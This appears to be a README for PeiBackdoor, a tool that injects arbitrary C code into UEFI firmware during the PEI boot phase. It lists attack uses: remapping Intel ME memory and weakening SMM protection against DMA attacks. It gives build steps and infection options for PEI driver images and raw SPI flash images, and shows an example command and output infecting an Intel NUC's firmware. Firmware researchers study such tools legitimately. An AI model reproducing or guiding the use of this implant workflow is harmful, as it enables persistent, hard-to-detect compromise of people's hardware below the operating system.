PEI Stage Backdoor for UEFI Compatible Firmware: PeiBackdoor

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This project implements early stage firmware backdoor for UEFI based firmware. It allows to execute arbitrary code written in C during Pre EFI Init (PEI) phase of Platform Initialization (PI). This backdoor might be useful for low level manipulations with the target platform configuration when the most of the platform configuration registers are not locked yet.

PEI Stage Backdoor for UEFI Compatible Firmware: PeiBackdoor

Possible applied use cases:

  • Edit values of REMAPBASE, REMAPLIMIT and other host controller registers during RAM initialization to perform UMA remap attack on Intel Management Engine RAM.
  • Lock TSEGMB host controller register with the junk value to make System Management Mode code vulnerable to DMA attacks.
  • Do other evil things that requires hijacking of early stage platform initialization code.

Contents

PEI backdoor project includes:

PeiBackdoor.py is using Capstone engine and pefile Python libraries, you need to install them with pip install capstone pefile command.

Building from the source code

To build PeiBackdoor project you need to have a Windows machine with Visual Studio 2008 and EDK2 source code.

Step by step instruction:

  1. Run Visual Studio 2008 Command Prompt and cd to EDK2 directory.
  2. Execute Edk2Setup.bat --pull command to configure build environment and download required binaries.
  3. Execute git clone git://github.com/Cr4sh/PeiBackdoor.git command.
  4. Edit Conf/target.txt file and set ACTIVE_PLATFORM property value to the OvmfPkg/OvmfPkgX64.dsc for 64-bit build or to the OvmfPkg/OvmfPkgIa32.dsc for 32-bit build. Also you need to set TARGET_ARCH property value to the X64 for 64-bit build or to the IA32 for 32-bit build.
  5. Edit OvmfPkg/OvmfPkgX64.dsc and add PeiBackdoor/PeiBackdoor.inf path at the end of the [components] section.
  6. cd PeiBackdoor && build
  7. After compilation resulting PE image file will be created atBuild/OvmfX64/DEBUG_VS2008x86/X64/PeiBackdoor/PeiBackdoor/OUTPUT/PeiBackdoor.efi for 64-bit build or atBuild/OvmfX64/DEBUG_VS2008x86/IA32/PeiBackdoor/PeiBackdoor/OUTPUT/PeiBackdoor.efi for 32-bit build.

 

Command line options

PeiBackdoor.py program is used to deploy PEI backdoor, it has the following command line options:

  • -d <path>, --driver-image <path> – Infect existing PEI driver image, both PE and TE formats are supported.
  • -f <path>, --flash-image <path> – Infect existing UEFI flash image. Please note, this option works only for raw flash images (for example, dumped with hardware programer) but not for UEFI capsules with firmware updates.
  • -p <path>, --payload <path> – Path of the PEI backdoor binary for -d and -f options.
  • -o <path>, --output <path> – Path of the output PEI binary or flash image for -d and -f options.

If -d option was specified – program is appending PEI backdoor binary code to the last section of PEI driver image and hooks it’s entry point to execute BackdoorEntryInfected() function located in src/PeiBackdoor.c file.

If -f option was specified – program is trying to find SiInitPreMem PEI driver from AMI by signature in the target flash image and hook it’s entry point to execute BackdoorEntryInfected() function. This OEM specific driver runs on relatively early stage of platform initialization which allows us to execute arbitrary code from SPI flash even before RAM initialization when the most of the physical memory space configuration registers like TOUUD, TOLUD, REMAPLIMIT and REMAPBASE are not configured and not locked yet. To infect other PEI driver entry point you also can edit SIGNATURE constant in PeiBackdoor.py to specify it’s signature.

Instead of SiInitPreMem PEI driver entry point patch you also can use --patch-offs <offset> command line option to hook arbitrary function of some PEI driver that stored inside firmware image in uncompressed form (for example, AMI based firmware of my Intel NUC is not using any compression for all of it’s PEI drivers).

Running on real hardware

To run PeiBackdoor.efi on your physical machine you need to obtain image of existing PEI driver:

  1. Dump motherboard firmware using hardware SPI programmer.
  2. Open dumped flash image in UEFITool and extract PE/TE image of existing PEI driver that you want to infect with PEI backdoor:
  3. … and itfect it using PeiBackdoor.py:
    • Infect extracted PE or TE image with SmmBackdoor_IA32.efi or SmmBackdoor_X64.efi depending on it’s architecture:python PeiBackdoor.py -d image.efi -o image_patched.efi -p PeiBackdoor_X64.efi
    • Use UEFITool to replace original PE image with image_patched.efi, save modified flash image into the file and write it to the motherboard ROM with programmer.

    Unfortunately, on some machines (for example my Intel NUC) patched flash image is not working after it’s modification with UEFITool, so, I implemented -f option for PeiBackdoor.py that allows to infect raw firmware image without PEI firmware volue rebuild needed. Here’s example of it’s usage to infect SYSKLi35.86A firmware of Skylake based Intel NUC:

$ python PeiBackdoor.py -f flash.bin -p PeiBackdoor_IA32.efi -o flash_patched.bin
[+] Target image: flash.bin
[+] Payload: PeiBackdoor.efi
[+] Output file: flash_patched.bin
Target PEI driver is located at offset 0x7246ec
PEI driver image base is 0xfff2454c
PEI driver image stripped size is 0x1c8
PEI driver patch location is at 0x72d47c (6 bytes)
Loader is at offset 0x7de000
Payload is at offset 0x7de040 (entry point RVA is 0x31f)
Target PEI driver was successfully patched
Relocating payload to 0xfffde040
Flash was successfully infected

Please note, that I used 32-bit PeiBackdoor_IA32.efi backdoor binary because Intel NUC, like lots of others machines with AMI based firmware, has 32-bit PEI phase code (I guess, mostly because it allows to have a bit smaller binaries than x86_64).

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